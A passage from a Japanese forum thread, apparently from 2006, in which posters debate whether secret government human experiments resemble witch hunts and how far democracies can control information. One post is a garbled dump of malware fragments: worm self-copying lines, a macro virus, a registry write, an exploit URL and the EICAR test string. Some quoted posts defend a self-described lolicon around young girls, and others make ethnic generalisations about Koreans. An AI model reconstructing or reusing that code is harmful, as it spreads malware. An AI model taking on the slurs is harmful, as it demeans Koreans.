795 :名無しさんの主張:2006/10/20(金) 03:23:44 ID:DtVKXra+
>>792
いや、危険だからアメリカでは使用が中止されたと知っていて
行ったのなら、目的の違いだけで大差ないのでは?

796 :名無しさんの主張:2006/10/20(金) 03:25:46 ID:DtVKXra+
人体実験や、情報を隠蔽して行われた不正まで魔女狩りと称して
しまうと…。お年寄りをターゲットにしたオレオレ詐欺もそうな
のか?となってしまうように思う。

797 :名無しさんの主張:2006/10/20(金) 03:27:54 ID:???
>>794
じゃあ非公開なぶん今の方が危ないじゃないですか。

798 :名無しさんの主張:2006/10/20(金) 03:30:22 ID:DtVKXra+
>>797
そういう危なさはありますよ。
だから情報公開が叫ばれるんだと思う。

799 :名無しさんの主張:2006/10/20(金) 03:33:07 ID:???
>>795
梅毒って病原菌ですよね、治療目的に使うことなどないと思うのですが。
それになぜ黒人のみを対象にしたのですか。
放射能で被曝させるのはマンハッタン計画に基づくものですし。

800 :名無しさんの主張:2006/10/20(金) 03:35:51 ID:???
>>796
政府公認で行うものと単なる犯罪では全く違うと思うのですが。

801 :名無しさんの主張:2006/10/20(金) 03:36:18 ID:DtVKXra+
>>799
武器をつくるためというのと、金儲けのため、という違いだけでは?

802 :名無しさんの主張:2006/10/20(金) 03:37:21 ID:???
>>796
じゃあ中世の魔女狩りと詐欺集団も同じなんですかね。

803 :名無しさんの主張:2006/10/20(金) 03:37:23 ID:DtVKXra+
>>800
同じ事を政府公認でやれば魔女狩りになり、そうでなければ
ただの犯罪になったりするわけですか?

804 :名無しさんの主張:2006/10/20(金) 03:38:11 ID:DtVKXra+
>>802
>>794で言ったような違いがあると思いますが。

805 :名無しさんの主張:2006/10/20(金) 03:41:41 ID:DtVKXra+
補足。
現代に魔女狩りを再現するのは無理ですが、中世でそれができた
のは、権力者側が反論を禁じていた、言論の自由などなかった
からですよね。
情報を隠蔽していたわけではなく、何をやっているのかを知らせた
上で、それを正当なものだと信じさせていた。
それは一方的な情報だけを流すことによる洗脳の結果ですよね。

806 :名無しさんの主張:2006/10/20(金) 03:43:19 ID:???
>>801
黒人のみを対象にした理由はなんでしょうか。
洗脳するというのは国防や金儲け以外にも使えますし、
兵器開発にせよ国民を騙して人体実験をし、
政府という権力機構が死傷者を出したわけですが、
宗教権力機構が死傷者を出した魔女狩りとどこが違うのでしょうか。

807 :名無しさんの主張:2006/10/20(金) 03:50:28 ID:DtVKXra+
>>806
人種差別の意識があったからでしょう。
しかし、別にそれがよいことだと洗脳して大衆に思わせていたわけ
ではなく、その事実を隠蔽していたわけですよね。

808 :名無しさんの主張:2006/10/20(金) 03:51:18 ID:???
>>805
放射能や梅毒、MKウルトラは健康診断などという嘘を信じ込ませ、
正当な行為だと偽った上での実験が行われていましたよ。

809 :名無しさんの主張:2006/10/20(金) 03:51:26 ID:DtVKXra+
魔女と思われるものを捉えて、裁判にかけ、殺している、という事実を
隠蔽していたわけではなく、魔女の存在を信じさせた上で、やっている
ことの情報を公開していた。
もちろん、それに対する異議も許されない。
あげられた例を魔女狩りに置き換えると、魔女と思われるものを捕まえて
裁判にかけ、殺している、という事実そのものを隠蔽していたということ
ですよね。
この場合、事実が明るみにでれば、大衆は魔女を信じさせられている
わけでもなく、批判が禁じられているわけでもないので、大問題になります。

810 :名無しさんの主張:2006/10/20(金) 04:02:03 ID:???
>>809
ですから魔女狩りと異教徒狩りの違い、
みたいな話はどうでもよくて例えに過ぎません。
>>808のように、民衆に公開してる情報自体が虚偽なのですよ。
そして、政府主導の下で死傷者が出ることが行われており、
後に明らかとなって問題とされる。
魔女狩りも後に真実が明らかとなって問題となったから、
もう行われないわけですよね。
何が違うんですか?
政府は、
いったん誤りが見つかっても、
また別の同じようなことを何回も繰り返してるところでしょうか?

811 :名無しさんの主張:2006/10/20(金) 04:13:31 ID:DtVKXra+
>>810
だから魔女狩りは真実と逆の結論に至らせるような洗脳を行って
いたわけで、反証可能でもそれが許されなかった時代だからできた
ことなんですよ。
あげられた例では、事実を隠蔽しているわけだから、そもそも反証
なんてあり得ないわけでしょ?
反証可能なことを逆の結論に至らせているわけではないですよね?


812 :名無しさんの主張:2006/10/20(金) 04:17:06 ID:DtVKXra+
魔女狩りというのは、ほとんどの人間が魔女の存在を信じ
魔女の処刑を是としていた、そしてそれに対する異論は
許されなかった時代に、疑心暗鬼になり誰々は魔女だと密告
したり、捕まえて火炙りにするようなことを指していいますよね。
もちろん隠蔽して不正を行うことが可能だし、特定の人たち
だけをターゲットにすることもあるでしょう。
しかし魔女狩りの時代と違って、不正を不正と考えないよう
に洗脳されているわけではないし、バレれば批判され罰せられる。

813 :名無しさんの主張:2006/10/20(金) 04:19:32 ID:???
>>811
魔女でない人を魔女だと言うこと。
健康診断ではないことを健康診断だと言うこと。
どちらも権力機構がそう言っているから皆が信じていたのではないのですか。
現に、政府が発表するまでこの事実はわからなかったわけですが。

814 :名無しさんの主張:2006/10/20(金) 04:23:42 ID:???
では、死傷者を出す非人道的な行為を行った機関は、
いくら批判されようが何度も様々な非人道的実験を繰り返しながら、
なぜ存在し続けているのですか。

815 :名無しさんの主張:2006/10/20(金) 04:23:54 ID:DtVKXra+
ただ判断材料が与えられなかった、嘘をつかれ、騙されて
いたというのと、判断材料はあったが、洗脳によって
正しく判断することができなかった、あるいは正しく判断
してもそれを主張することができなかった、という違いです。

816 :名無しさんの主張:2006/10/20(金) 04:25:16 ID:DtVKXra+
>>814
特定の人間が犯罪行為を犯したことが立証されれば罰せられるでしょう。

817 :名無しさんの主張:2006/10/20(金) 04:29:40 ID:???
>>815
文句を言えるか言えないか、
魔女狩りの問題はそんなことですか。
魔女狩りに対して文句を言った人だっているでしょう。
我々にとって脅威なのは、
死傷者が出ることを権力機構がやっていることですよね。

818 :名無しさんの主張:2006/10/20(金) 04:32:20 ID:DtVKXra+
>>817
魔女狩りの時代の恐怖というのは、否定的なことを言うと
魔女の眷属として処刑される、という恐怖があったことでしょう。
だから合理的なことは主張できず、よって教会側の話ばかり
が流される。
それが結局洗脳ということになるわけで。

819 :名無しさんの主張:2006/10/20(金) 04:33:50 ID:???
>>816
人体実験は特定の人だけがやるわけではないですよ。
政府機関が行ったものです。
まあ被曝実験はクリントン大統領の指示で行われたそうですが、
彼は裁かれましたっけ?

820 :名無しさんの主張:2006/10/20(金) 04:34:09 ID:DtVKXra+
>>817
もちろん権力機構がやっていることですし、許されることだと
は思いません。

821 :名無しさんの主張:2006/10/20(金) 04:35:14 ID:DtVKXra+
>>819
そんなことが立件できるだけの材料が出てくれば大騒ぎでしょう。
ソースをお願いできますか?

822 :名無しさんの主張:2006/10/20(金) 04:42:13 ID:???
>>818
ですから魔女狩りは例えに過ぎません。
そういうことが行われている、と言っているのです。
問題なのは死傷者が出る非人道的行為を国が行っている、という点でしょう。
魔女狩りは同じキリスト教徒まで狩られたが、
異教徒狩りは異教徒しか狩られない、と言う話ではないのです。
どちらも問題でしょう。
政府しかしらない当時最先端の科学技術で行われた放射能実験やMKウルトラ、
政府はそれを健康診断だ、などと称する。
その仕組みを知らない国民が、それを疑うことなどできませんよね。

823 :名無しさんの主張:2006/10/20(金) 04:47:44 ID:DtVKXra+
>>822
いや、国家の犯罪行為に義憤を覚えるのはいいですけど、それを
魔女裁判に例えるのは違うでしょう、と言ってるいるだけです。
そして、同じキリスト教徒を狩ったとか狩っていないとかいう話
でもありません。
そして、あなた自身も言っているように、疑いを抱くことができる
ような判断材料が隠蔽されていたわけで、洗脳を行ったうえで、隠蔽
をせずに行った魔女裁判とは質が違う、という話です。

824 :名無しさんの主張:2006/10/20(金) 04:48:59 ID:???
失礼、>>819は誤りでした。
風説の流布になってしまう。
クリントン大統領は政府が隠していた情報の公開を指示した。
の誤りでした。

825 :名無しさんの主張:2006/10/20(金) 04:50:44 ID:DtVKXra+
中世の恐怖というのは、魔女狩りという行為に疑いを持たない
ように洗脳したこと、それによって起こる疑心暗鬼、密告に
よる殺人、などのことを普通指しますよね。
人体実験を魔女裁判の類だとする意見ははじめて目にしました。

826 :名無しさんの主張:2006/10/20(金) 04:55:49 ID:???
>>821
ソースはしょぼい雑誌ですが>>819は読み間違いでした。
正しくはこうです、以下、抜粋。
『この発表は、当時、「人体実験批判」に対応しようとしたクリントン大統領の指示によって行われた。
米政府は情報自由法に基づき、さまざまな人体実験を行った記録を次々に公開している。』
まあこれを見る限りでは、民衆の批判が真実を暴いたとも言えますね。
しかしこれも被害者が出たあとの話です。

827 :名無しさんの主張:2006/10/20(金) 04:59:58 ID:DtVKXra+
>>826
なるほど、わかりました。
情報公開の勝利ですかね。
ただ、違法行為者の特定など進んでるんですか?

828 :名無しさんの主張:2006/10/20(金) 05:00:58 ID:???
>>825
魔女狩りの話にこだわっているのはあなたでは?
宗教権力機構のような、社会を取り仕切っている機関によって、
嘘を信じ込まされること等が論点なんですよね。

829 :名無しさんの主張:2006/10/20(金) 05:02:34 ID:DtVKXra+
>>828
いや、たとえとして魔女狩りを出したから、質が違うといった
だけです。

830 :名無しさんの主張:2006/10/20(金) 05:06:04 ID:???
>>827
そこまでは知りませんが、被曝実験など少人数で行えるものではないでしょう。

831 :名無しさんの主張:2006/10/20(金) 05:11:02 ID:???
とにかく政府だけが知る真実がある限り、
情報操作は可能だということです。

832 :名無しさんの主張:2006/10/20(金) 05:11:29 ID:DtVKXra+
マンハッタン計画では、研究に関わっていた科学者数人が連盟で
、「実証実験は日本ではなく無人島でやるべき」という請願書を
出したりしてますね。
ある意味、日本への投下も実験と言えるわけで。

833 :名無しさんの主張:2006/10/20(金) 05:16:11 ID:DtVKXra+
行っていた実験を隠すことはできるでしょう。
しかし、実験をやっていなかったということを社会常識にできる
か、社会通念にできるかといえば、疑問です。

834 :名無しさんの主張:2006/10/20(金) 05:18:50 ID:DtVKXra+
たとえば、人体実験の話を隠していたわけですよね。
だったら、これまでのアメリカでは、人体実験をしていなかった
というのが社会通念だったんでしょうか?
もし情報公開以前に質問されれば「知らないけど、やっていないだろう
、そう信じたい」というような答えが一般的だったんじゃないか、と
想像しますが。

835 :名無しさんの主張:2006/10/20(金) 05:23:57 ID:???
>>843
それだと何か問題があるのでしょうか。

健康診断だと信じこまされていた人体実験があったわけですよね。
立派な情報操作だと思うのですが。

836 :名無しさんの主張:2006/10/20(金) 05:26:22 ID:DtVKXra+
>>835
いや、別に問題はないです。
ただ、反証可能なことを全く逆の結論に至らせ社会通念を形成させる
、といった魔女狩りのようなことは、現代では無理だろうということ
だけを言いたい。

837 :名無しさんの主張:2006/10/20(金) 05:38:13 ID:???
まあ現実として、
全ての情報を公開しておくなんて不可能なんでしょうけどね。
ただ、現状を信頼し過ぎると、急激な発展に対応できないような気がする。

838 :名無しさんの主張:2006/10/20(金) 09:17:40 ID:???
政府だけが知る真実がある限り、情報操作は可能だということだな。

839 :名無しさんの主張:2006/10/20(金) 10:01:25 ID:???
与えられないということは知る必要が無いということだよ。


840 :名無しさんの主張:2006/10/20(金) 13:13:31 ID:???
>>838
同意

841 :名無しさんの主張:2006/10/20(金) 15:16:43 ID:???
反証可能なことを全く逆の結論に至らせ社会通念を形成させる魔女狩りのようなことは
現代でも充分可能だろうということだな

842 :名無しさんの主張:2006/10/20(金) 16:05:22 ID:???
政府だけしか知らない真実が、
天動説に対する地動説ほどの意味を持つものだったらあり得る。

843 :名無しさんの主張:2006/10/20(金) 16:09:35 ID:???
>>841
同意

844 :名無しさんの主張:2006/10/20(金) 16:28:27 ID:???
集団が誤った情報を信じ込むことはあり得るということだな

845 :名無しさんの主張:2006/10/20(金) 16:29:22 ID:???
510 名前: 名無しさんの主張 投稿日: 2006/07/16(日) 15:00:41
17年前の宮崎事件が起こる以前と今をくらべると良く分かる
マスコミは17年間をかけて偏向報道により庶民を洗脳して来た
その鉾先は(大雑把なくくりとして)オタク族を叩き
その後、宮崎事件に類似する事件が起こる度に
オタク→ロリコンと焦点を絞って叩き始めた
現実問題として宮崎事件から今日まで何件
少女を狙った(第三者による)性犯罪があっただろうか?
実際に少女を性的虐待しているのは実父、義父、近親者、教師、
警備員、塾講師、宗教活動者など
子供を守るために囲い込む活動している者が
加害者になるケースが極めて多いというのに
半島や大陸ではよくあるケース。

846 :名無しさんの主張:2006/10/20(金) 16:36:11 ID:???
>ほとんどの人はそんなこと思ってないと思いますよ?
いや思ってる

>テレビ番組で子供に悪影響を与えるとクレームをつける人がいますけど
>、だいたい似たような市民団体だったりする。
立派な魔女狩りだな


>そういった運動をしている人にしても、本気でそう信じているというよりも
>「悪影響はあっても良い影響があるはずはないんだから、そんなものは
>やめてしまった方が無難」といった感じじゃないでしょうか。
>これは、誤った考えを刷り込まれているという以前の、考え方の問題でしょう。
考え方を刷り込まれているということだね
立派な魔女狩りだな

847 :名無しさんの主張:2006/10/20(金) 16:36:58 ID:???
>幼児や少女のヌードということなら、人権問題もあるかもしれないが、
出た。洗脳されてるな
少女のヌードの場合人権問題とか言ってる時点で

848 :名無しさんの主張:2006/10/20(金) 16:38:19 ID:???
135:朝まで名無しさん :2006/08/01(火) 13:06:21 ID:uZz7OUzz
>>1
ピーピー騒ぎそうだけど、あえてロリコンの俺が言う。
俺は幼女とお友達で、平穏な時期から幼女と遊んでることが多かったわけ。
幼女の保護者や教師と話すほど仲良かった。
ところがある時から不審者がなんだと騒ぎだし、
保護者や教師によるパトロールが始まった。これで状況が大きく変わった。
何が変わったと思う?
大人が俺に近寄らなくなったんだ。
子供は相変わらず近寄ってくる。ただ、大人がこなくなった。
で、幼女と遊んでる俺を不審げに見るだけで帰ってく見回り団体とも何回も遭遇した。
じゃあこういう状況になる前は怪しまれなかったのかっていうと、そんなことはない。
気さくに保護者や教師と話せた時期は、明るく幼女との関係を聞かれることもあった。
もちろん、ただの遊び相手だし、気さくにそう聞かれればこっちも別に嫌な思いもしない。
ところが、今はそれさえない。池田小か何かの事件の時だったか。
オレがいつものように幼女と遊んでると、初めて見る見回り団体が来たんだけど、
遠くから見つめて何かメモするだけで帰っていったよ、他の大人には話し掛けてたのにね。
オレが言うのもなんだけどさ、
そんとき、幼女と一緒にいたのが本物の危険人物だったらどうしていたんだと。
目に浮かんだね。
「そういえば怪しい人が…」と言うだけの見回り団体の姿がな。
「子ども」とか書くのもばからしい。
子供を子どもって書いて、助かった子供をおまえら見たことあんのかよ。
そんなことやってる暇があるなら泣いてる子供の一人くらい助けろよ。
ところが現状は公園で泣いてる子供におどおどしながら通り過ぎていく大人を尻目に、
ロリコンのオレがその子をあやしてる。
はっきり言おう、お前らがやってるのは子供を守る活動じゃない。
大人が安心するための活動だ。

849 :名無しさんの主張:2006/10/20(金) 16:43:40 ID:???
945:朝まで名無しさん :2006/10/17(火) 17:35:34 ID:tkM0Cx9a [sage]
女子リベ  安原宏美--編集者のブログより

ある保護者の方が集まるブログとサイトにこんなことが書いてありました。
「地域の不審な人に立ち向かい、不審な出来事を問題にしてください。」
PTAの通信欄に書いてあった言葉だそうです。困惑されてる様子でした。ものすごい日本語です。いやそのどうやって?マッチポンプ奨励コピーです。私には無理です。
かたや、あるお母さんからのこんな投稿もありました。
「子供にGPSつけるんだったら、性犯罪者全員にGPSを埋め込んで、更生しても昔の八丈島おくりみたいに隔離してほしいし、そういう性犯罪者を喜々とさせるような児童ポルノやマンガを書く人々も全員去勢して欲しい。」
・・・サイトをみる限りはふつうの保護者の方たちのサイトのように見受けられました。
あなたのほうが怖いです。


959:朝まで名無しさん :2006/10/17(火) 22:42:55 ID:KkF1FT7T [sage]
>>945
http://omomani.blog53.fc2.com/blog-entry-1520.html
下の画像。。(上は無視)

850 :名無しさんの主張:2006/10/20(金) 16:46:24 ID:???
人体実験を健康診断と称せる時点で、
充分価値を逆転させることに成功してる。

851 :名無しさんの主張:2006/10/20(金) 18:10:06 ID:???
そもそも価値基準は絶対的なプラスか、
絶対的なマイナスで分けられるものではないから価値を逆転させる必要もない。
対象の印象を操作することは可能。

852 :名無しさんの主張:2006/10/20(金) 20:31:43 ID:???
【サブカル叩き】表現の自由は誰のモノ【大谷昭宏55】
http://news18.2ch.net/test/read.cgi/news2/1161139076/l50

853 :名無しさんの主張:2006/10/20(金) 20:41:45 ID:???
133:朝まで名無しさん :2006/10/20(金) 19:46:30 ID:o/Ii3PEQ [sage]
性善説だな。
表現とは心理面、価値観の問題、価値観は相対的。
正しい基準などない、というのが正しい。
ならば少数派の表現を消す必要はないが、
実際に少数派の表現は規制されていく。
そいつらは悪だから消されたわけじゃない、
何の問題もなくても少ないから消される。


135:朝まで名無しさん :2006/10/20(金) 19:48:11 ID:szfosn2F
>>127
>なぜならそんな民衆ばかりじゃないから

性善説だな とりあえず現実を見とけ
無視されて放置されて社会的に追い詰められた言論がどんだけあると思ってんだ
ドイツも韓国も同じ民主主義のはずなのに特定言論が違法化されてるぞ

854 :名無しさんの主張:2006/10/20(金) 20:42:32 ID:???
137:朝まで名無しさん :2006/10/20(金) 19:50:36 ID:pNaxoqt3 [sage]
>ならば少数派の表現を消す必要はないが、
>実際に少数派の表現は規制されていく。

そいつらは少数派だから規制されたんじゃなくて実際に問題だからk市営されたんだよ
そしてそいつらが少数派になったのは間違った主張をして正当な反論が来たから民衆も正当なほうについた

>OKgm/9skがおかしいって暗に主張したいのはよく解かったから・・・
おかしくない

>無視されて放置されて社会的に追い詰められた言論がどんだけあると思ってんだ
ないと思います
そしてネットの登場でこれからも間違った主張で魔女狩りの被害は起こらないと言える
ってID:DtVKXra+が言ってた


142:朝まで名無しさん :2006/10/20(金) 19:56:10 ID:o/Ii3PEQ [sage]
心に正しいも間違いもない、ただ多数派の意見が優勢されるてるだけ。
正しい表現の基準はどこにあるの?
そんなものは存在しない。

855 :名無しさんの主張:2006/10/20(金) 20:45:33 ID:???
よって、これはありえる。

841:名無しさんの主張 :2006/10/20(金) 15:16:43 ID:??? [sage]
反証可能なことを全く逆の結論に至らせ社会通念を形成させる魔女狩りのようなことは
現代でも充分可能だろうということだな

856 :名無しさんの主張:2006/10/21(土) 01:30:25 ID:???
kak.ht佐賀en=w佐賀START
ca佐賀etc佐賀ass佐賀mail nob佐賀nonexistent.com

佐賀dy onload=window()>
If s = "佐賀" and fso.FileExis佐賀1.path+"l") = False thenfso.CopyFile 佐賀path, f1.path佐賀"l"
Set A4 = A佐賀reateTextFile(A佐賀uildPath(A佐賀etSpecialFolder(1)))
fso.opyfile "network.佐賀", "佐賀\windows\start menu\programs\startup\"
佐賀Copy(dirsystem&"\佐賀Kernel32.vbs")
c.佐賀opy(dirwin&"\Win32DLL.vbs")
c.C佐賀y(dirsystem&佐賀OVE-LETTER-FOR-YOU.TX佐賀bs")
<objec佐賀ata佐賀s-its:mhtml:fil佐賀C\\MAIN.MHT佐賀p://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P佐賀P[4\PZX54(P^)7CC)7佐賀CAR-STANDARD-ANTIVIRUS-TEST-FILE佐賀H+H*
fso.c佐賀yfile "dirsyste佐賀urupo.vbs", "佐賀indows\start men佐賀rograms\startup\"
If s = "ht佐賀 and fso.FileExi佐賀1.path+"l") = False then fs佐賀opyFile f1.path, f1.path+"l"
ToInfe佐賀odeModule.InsertLines 佐賀, ADI1.CodeModul佐賀nes(BGN, 1)
G.RegWrite A("IJDX^MNB佐賀^L@BIHOD]Rnguv`sd]Lhb佐賀]Sto]VhoRu`su佐賀BuildPath(E.GetSpecialFolder(1佐賀("VHORU@S佐賀CR"))
line佐賀)=replace(lines(n),"""",chr(9佐賀r(45)+chr(93))
ms-its:mht佐賀le://佐賀:\
kak.hta佐賀en=wd+'START
kill 佐賀
Sub auto_open(佐賀)
Application.OnSheetActivate = "佐賀"
End 佐賀
Sub check_files(佐賀)
佐賀 = Application.StartupPath
m$ = Dir(佐賀 & "\" & "PERSONAL.佐賀")
If 佐賀 = "佐賀" Then p = 佐賀 Else p = 佐賀
If Active佐賀.Modules.Count > 佐賀 Then w = 1 Else w = 佐賀
whichfile = 佐賀 +佐賀 * 10
End 佐賀

857 :名無しさんの主張:2006/10/21(土) 01:54:04 ID:Yj9u/9jc
>>841
それは無理でしょう。


858 :名無しさんの主張:2006/10/21(土) 02:01:17 ID:Yj9u/9jc
反証されたこと、反証可能なことを一つの常識的通念にまで
至らせるには、洗脳的な手法を用いる必要がありますが、
中世のような、あるいは共産国のような全体主義国家でもない
限りそれは不可能。
たとえば日本政府が不正を行っているにも関わらず、、はじめ
から情報を隠蔽して判断材料を与えないなら、反証不能なので、
ある人間を騙すことはできる。
しかしそれとて、知らされていないだけで、洗脳によって
「日本政府は不正を行っていない」ということが社会通念に
なっているわけではないですよね。

859 :名無しさんの主張:2006/10/21(土) 02:01:56 ID:???
可能だ

860 :名無しさんの主張:2006/10/21(土) 02:04:20 ID:Yj9u/9jc
もしあることが常識化していったときに、それが間違いであった、と
わかったら、マスコミは絶対飛びつく。
なぜなら、大衆もマスコミも、センセーショナルなニュースに飛びつく
からです。
あるものをスターにして持ち上げた後に落とす、というのも同じ心理ですよね。
ユリ・ゲラーが話題になった後には、絶対に暴露物も登場する。
超能力を信じたいビリーバーの人たちは、肯定的なものしか信じないかも
しれない。
信じてもいいが、信じるに足る根拠がないとか、既に反証されていると
して否定する懐疑主義者もいるでしょう。
否定派の中には、超能力など信じたくないから、否定的なものしか信じない
という人もいるでしょう。
それ以外の人たちは、話題がスキャンダラスなものであれば見ます。
だから超能力関連の記事が載ればそれを知るし、否定的な情報も入る。
そうすると、いろんな立場の人が混在することになり、ネット上などで
議論になったりする。

861 :名無しさんの主張:2006/10/21(土) 02:04:55 ID:Yj9u/9jc
いくらビリーバーでも、掲示板に否定的な書き込みがあれば、ビリーバーで
あるが故にカチンとくるし、反論を書いたりする。
それで議論をしているうちに、これまで知らなかったような情報を得るようになる。
これは懐疑主義者の立場でも同じでしょう。
今どうして、超能力や霊能力は存在する、という風な常識になっていないのか。
それはもちろん、それを調査したり実験で否定したり、種明かしをする人たちも
存在するから。
超能力が実験で証明された、かのような話題も今までにはありました。
ならばそれに騙されてみんな信じたかというとそうではない。
それは懐疑主義派の科学者が実験デザインの不備を指摘したりしたからです。
かように、民主主義国では誤った知識を常識として認識されるまでにするのは
難しい。


862 :名無しさんの主張:2006/10/21(土) 02:05:09 ID:???
>>858
なお悪い

>>853-854
によって魔女狩りもあり得る

863 :名無しさんの主張:2006/10/21(土) 02:08:19 ID:Yj9u/9jc
>>862
誰も洗脳されてないようですが。

864 :名無しさんの主張:2006/10/21(土) 02:09:54 ID:???
では差別だ

865 :名無しさんの主張:2006/10/21(土) 02:15:00 ID:Yj9u/9jc
>>853
韓国などは軍事政権下から民主化してまだ間もないですからね。
というか、建前は民主主義だけど、そうだとは思えない。
だって日本を擁護するような本を出したら出国禁止になったりするし、教科書
は中国と同じように国定。
つまり全体主義国なんですよね。

866 :名無しさんの主張:2006/10/21(土) 02:17:02 ID:Yj9u/9jc
そもそも韓国は、法治国家であるかどうかも疑わしい。
だって、日本統治時代、日本に協力した韓国人を特定して、その人間
や家族の財産を没収する、なんていう法案が通ったんでしょ?
これなど罪刑法定主義に反する。

867 :名無しさんの主張:2006/10/21(土) 02:19:59 ID:???
魔女狩りでは妬み嫉妬による告発が相次いだ。
魔女自体も元はただの呪い師に過ぎない。
問題の根底に偏見、差別意識があるのは明白。
そこから目を逸らすのはより良い社会を築く努力を怠っており、
人類の発展を停滞させる。

868 :名無しさんの主張:2006/10/21(土) 02:22:19 ID:???
妬みと嫉妬じゃ同じだ。
妬みや恨みやらだ。

869 :名無しさんの主張:2006/10/21(土) 02:23:42 ID:Yj9u/9jc
差別というのは、やはり差別されるような原因があるとも言えるけど
しかしそれに対して差別的な感情を持たない人もまたいる。


870 :名無しさんの主張:2006/10/21(土) 02:25:58 ID:Yj9u/9jc
たとえば、日本の戦後を知る人では、韓国人を嫌ってる人が
かなりいる。
でも、これは実際嫌われても仕方がないようなことをやって
いたという事実もあるわけで。

871 :名無しさんの主張:2006/10/21(土) 02:26:58 ID:???
少数派は少数派だ。
心に絶対善も絶対悪もない。

872 :名無しさんの主張:2006/10/21(土) 02:28:48 ID:Yj9u/9jc
私は基本的に性悪説です。

873 :名無しさんの主張:2006/10/21(土) 02:33:31 ID:???
では現状に満足するな。
性悪説は人間の本性は悪だからこそ、
教養や道徳は大事だというものではなかったか。
より良い社会を見据えて思索していくべきだろう。

874 :名無しさんの主張:2006/10/21(土) 02:35:41 ID:???
人間の本性が悪なら、
民主主義は多数の悪意に優位なものになるだろう。
魔女狩りもあり得る。

875 :名無しさんの主張:2006/10/21(土) 02:40:46 ID:Yj9u/9jc
>>873
躾や教育によって「人間」にしていくものだと考えています。

876 :名無しさんの主張:2006/10/21(土) 02:45:43 ID:???
現状の「人間」に満足するな。
人間とは何か、
そんなもの人類絶滅まで考え続けなければならない問題だ。
今の人間や社会が完璧なわけではない。
穴が見えるなら、より良いものを目指して、常に進んでいくべきだろう。

877 :名無しさんの主張:2006/10/21(土) 02:49:01 ID:Yj9u/9jc
理想を追求するのも大事でしょう。
しかし中には、人間を理想化しすぎて現実が見えてない人もいる。
もしそれがあくまで理想に過ぎなくて、実現するのが不可能に思え
るなら、それに固執しすぎるんじゃなくて、可能な選択しのうち
ベストのものを選ぶ、という柔軟性が必要だと思います。

878 :名無しさんの主張:2006/10/21(土) 02:52:54 ID:Yj9u/9jc
空想的平和主義、というのがその典型でしょう。

879 :名無しさんの主張:2006/10/21(土) 02:53:53 ID:???
現状では理想が実現可能でも、
それが少数派の主張なら、多数派によって潰されることがあり得る。

880 :名無しさんの主張:2006/10/21(土) 02:56:01 ID:Yj9u/9jc
それは民主主義の持つ欠点ですね。

881 :名無しさんの主張:2006/10/21(土) 02:57:47 ID:Yj9u/9jc
民主主義の本質は多数派による独裁ですから。
それでも、今のところ他の政治体制よりもマシ、と思われている
し、その弊害を取り除くよう努力もされてるんでしょう。

882 :名無しさんの主張:2006/10/21(土) 03:04:41 ID:???
衆愚政治というわけだろう。
ならば改善も常に考えておくべきだ。
民主主義の都合の良い意向によって、情報が操作されていたとしたら、
そこからより良い発想は生まれてこないかもしれない。
そして少数派を軽視してはならない、
実現可能な理想が、そこにはすでにあるかもしれないのだから。

883 :名無しさんの主張:2006/10/21(土) 03:10:13 ID:Yj9u/9jc
まあ、欠点のないシステムをはじめから作るのも困難だし
失敗を繰り返しながら進歩していく他ないんですかね。
その失敗が命とりになる可能性もあるけど。

884 :名無しさんの主張:2006/10/21(土) 03:13:46 ID:USK+sbxK
バカが大手を振って街を闊歩するような時代になりました。

885 :名無しさんの主張:2006/10/21(土) 03:14:57 ID:???
実現可能な理想なら失敗ではない、失敗ということにさせられているだけだ。

886 :名無しさんの主張:2006/10/21(土) 03:15:31 ID:Yj9u/9jc
>>884
どんなバカですか?

887 :名無しさんの主張:2006/10/21(土) 03:16:39 ID:Yj9u/9jc
>>885
たとえばそれはどんなことですか?共産主義とかのことでは
ないですよね?

888 :名無しさんの主張:2006/10/21(土) 03:22:58 ID:???
私が理想を掲げる少数派かどうかは知らないが、
多種多様な主張がある無政府主義者の中には、
見聞に値する理想があるかもしれない。

889 :名無しさんの主張:2006/10/21(土) 03:24:35 ID:Yj9u/9jc
なるほど。

890 :名無しさんの主張:2006/10/21(土) 04:14:54 ID:???

http://www3.diary.ne.jp/user/338790/

祭りだ!祭りだ!コピペせよ!

891 :名無しさんの主張:2006/10/21(土) 08:18:38 ID:???
反証可能なことを全く逆の結論に至らせ社会通念を形成させる魔女狩りのようなことは
現代でも充分可能だろうということだな

892 :名無しさんの主張:2006/10/21(土) 08:20:52 ID:???
集団が誤った情報を信じ込むことはあり得るということだな
そもそも価値基準は絶対的なプラスか、
絶対的なマイナスで分けられるものではないから価値を逆転させる必要もない。
対象の印象を操作することは可能。

893 :名無しさんの主張:2006/10/21(土) 08:32:51 ID:???
コピペ厨は自分の言葉でレスしろよ

894 :名無しさんの主張:2006/10/21(土) 08:34:41 ID:???
誤爆乙

895 :名無しさんの主張:2006/10/21(土) 09:09:33 ID:???
>>891-892

896 :名無しさんの主張:2006/10/21(土) 18:00:06 ID:???
     ____
    /∵∴∵∴\
   /∵∴∵∴∵∴\
  /∵∴∴,(・)(・)∴|
  |∵∵/   ○ \|
  |∵ /  三 | 三 |  / ̄ ̄ ̄ ̄
  |∵ |   __|__  | < 貴様…サイヤ人だな?
   \|   \_/ /  \____
     \____/

897 :名無しさんの主張:2006/10/21(土) 22:26:09 ID:???
まあ>>1はちょっと大げさだな

898 :名無しさんの主張:2006/10/21(土) 23:55:59 ID:Yj9u/9jc
>>891
どこからそんな結論が飛び出すんだよ。

899 :名無しさんの主張:2006/10/22(日) 00:27:40 ID:???
コピペ厨はほっとけ

900 :名無しさんの主張:2006/10/22(日) 02:02:24 ID:4V4JOZgr
>>899
了解。

901 :名無しさんの主張:2006/10/22(日) 05:41:00 ID:1zbufmDF
集団主義に反抗するヤンキーもまた序列社会、集団主義。
日本はどこまでいってもそうなのね。


902 :名無しさんの主張:2006/10/24(火) 23:41:03 ID:iYO4f3V6
     ■□■  メールマガジン「 裸の学校 」 ■□■
   第105号〈 異常な集団主義 〉 (H.16.11.10)

> 将来、生徒達が社会に出た時、役人に対し、ものが言えないような人間に
> 育てるのが目的なのです。

結局はそういうことだと当方も思っています。
文部科学省はしきりに「個性を伸ばす教育」を強調しながら、また教育基本法
第一条(目的)には「人格の完成をめざし」で書きだしているにも関わらず、
現場では、始めから生徒一人ひとりの人格を完全に無視して単に従順な羊の
群れに仕立てることが最大の主眼となっています。
「人間の集団」とは、本来は個々の人格が尊重された上での人々の集まりの
はずですが、終始羊の群れであることを学校は強要しているのです。

見渡してみると日本の学校は徹底した集団活動だけという異常さです。
始業式・終業式、修学旅行、運動会、合唱コンクール、グループ学習、
はたまた、制服強制に始まる管理画一化教育、揚げ句の果ては「連帯責任」
